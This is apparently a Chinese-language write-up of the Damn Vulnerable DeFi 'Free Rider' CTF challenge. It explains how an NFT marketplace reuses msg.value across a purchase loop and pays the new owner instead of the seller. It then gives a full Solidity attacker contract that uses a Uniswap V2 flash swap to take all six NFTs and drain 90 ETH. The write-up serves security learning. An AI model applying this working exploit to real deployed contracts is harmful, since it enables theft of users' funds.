一、Free Rider

背景:
我们有一个 NFT 市场,目前出售 6 个 NFT 代币,每个售价 15 ETH。我们初始资金只有 0.1 ETH,希望取回所有 NFT 代币并将其转交给recovery Manager,并获得 45 ETH 的赏金。
marketplace 合约存在严重缺陷。
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; ++i) {
unchecked {
_buyOne(tokenIds[i]);
}
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
if (priceToPay == 0) {
revert TokenNotOffered(tokenId);
}
if (msg.value < priceToPay) {
revert InsufficientPayment();
}
--offersCount;
// transfer from seller to buyer
DamnValuableNFT _token = token; // cache for gas savings
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}当我们调用buyMany 时,我们只需要msg.value >= price(15 ETH)。请注意,在_buyOne循环的每次迭代中, msg.value的值都是相同的。合约中存在逻辑问题。
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay)
- _token.safeTransferFrom(...) 会把 tokenId 的 所有权 从原主人转到 msg.sender(买家)。
- 转移之后,再执行 _token.ownerOf(tokenId) → 这时候返回的就是 买家地址。
- sendValue(priceToPay) 把钱转给了 msg.sender(买家自己)。
攻击思路:
只需从 15 ETH 开始,我们就能获得全部 6 个 NFT,并从市场中抽走 90 ETH。所以现在唯一的问题是我们需要 15 ETH,但player只有 0.1 ETH。需要注意的是,市场中还有一个 Uniswap v2 池,位于 WETH 和 DVT 之间。Uniswap v2 池不仅可以用于代币兑换,还可以用于闪电贷。闪电贷的执行方式是调用swap借入一个代币,然后执行回调函数返还借入的金额,同时执行上面描述的攻击逻辑。
另请注意,市场使用safeTransferFrom而不是transferFrom来转移 NFT 代币,因此这需要我们实现一个onERC721Received函数。
在safeTransferFrom 函数中调用了ERC721Utils.checkOnERC721Received,在checkOnERC721Received 函数中对接收 NFT 的地址做了检查,必须要是合约并且实现了onERC721Received 函数的返回值是IERC721Receiver.onERC721Received.selector 否则将 revert
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual {
transferFrom(from, to, tokenId);
ERC721Utils.checkOnERC721Received(_msgSender(), from, to, tokenId, data);
}
function checkOnERC721Received(
address operator,
address from,
address to,
uint256 tokenId,
bytes memory data
) internal {
if (to.code.length > 0) {
try IERC721Receiver(to).onERC721Received(operator, from, tokenId, data) returns (bytes4 retval) {
if (retval != IERC721Receiver.onERC721Received.selector) {
// Token rejected
revert IERC721Errors.ERC721InvalidReceiver(to);
}
} catch (bytes memory reason) {
if (reason.length == 0) {
// non-IERC721Receiver implementer
revert IERC721Errors.ERC721InvalidReceiver(to);
} else {
assembly ("memory-safe") {
revert(add(32, reason), mload(reason))
}
}
}
}
}
}还有一个小细节是,我们需要搞清楚 WETH 和 DVT 之间哪个是token0,哪个是token1。地址较小的那个是token0,通过打印地址,我们可以看到 WETH 是token0。
function test_freeRider() public checkSolvedByPlayer {
Attacker attacker = new Attacker{value: PLAYER_INITIAL_ETH_BALANCE}(
weth, uniswapPair, marketplace, nft, recoveryManager, player
);
attacker.attack();
}contract Attacker {
WETH weth;
IUniswapV2Pair uniswapPair;
FreeRiderNFTMarketplace marketplace;
DamnValuableNFT nft;
FreeRiderRecoveryManager recoveryManager;
address player;
constructor(
WETH _weth,
IUniswapV2Pair _uniswapPair,
FreeRiderNFTMarketplace _marketplace,
DamnValuableNFT _nft,
FreeRiderRecoveryManager _recoveryManager,
address _player
) payable {
weth = _weth;
weth.deposit{value: msg.value}();
uniswapPair = _uniswapPair;
marketplace = _marketplace;
nft = _nft;
recoveryManager = _recoveryManager;
player = _player;
}
function attack() external payable {
//console.log(address(this).balance); =》 0
uniswapPair.swap(15 ether, 0, address(this), hex"aabbcc");
}
function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external {
require(sender == address(this), "!sender");
require(msg.sender == address(uniswapPair), "!pair");
// console.log(address(this).balance); =》 0
uint256[] memory tokenIds = new uint256[](6);
for (uint256 i = 0; i < 6; i++) {
tokenIds[i] = i;
}
weth.withdraw(amount0);
// console.log(address(this).balance); =》 15000000000000000000
marketplace.buyMany{value: 15 ether}(tokenIds);
// console.log(address(this).balance); =》 90000000000000000000
for (uint256 i = 0; i < 6; i++) {
nft.safeTransferFrom(address(this), address(recoveryManager), i, abi.encode(player));
}
// console.log(address(this).balance); =》90000000000000000000
weth.deposit{value: 15 ether}();
// Calculate flash swap fee and amount to repay
// fee = borrowed amount * 3 / 997 + 1 to round up
uint256 fee = (amount0 * 3) / 997 + 1;
uint256 amountToRepay = amount0 + fee;
// Repay Uniswap V2 pair
// console.log(weth.balanceOf(address(this))); =》 15100000000000000000
// console.log(amountToRepay); =》 15045135406218655968
weth.transfer(address(uniswapPair), amountToRepay);
// console.log(address(this).balance); =》75000000000000000000
(bool success,) = player.call{value: address(this).balance}("");
if (!success) revert();
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
fallback() external payable {}
}
评论 (0)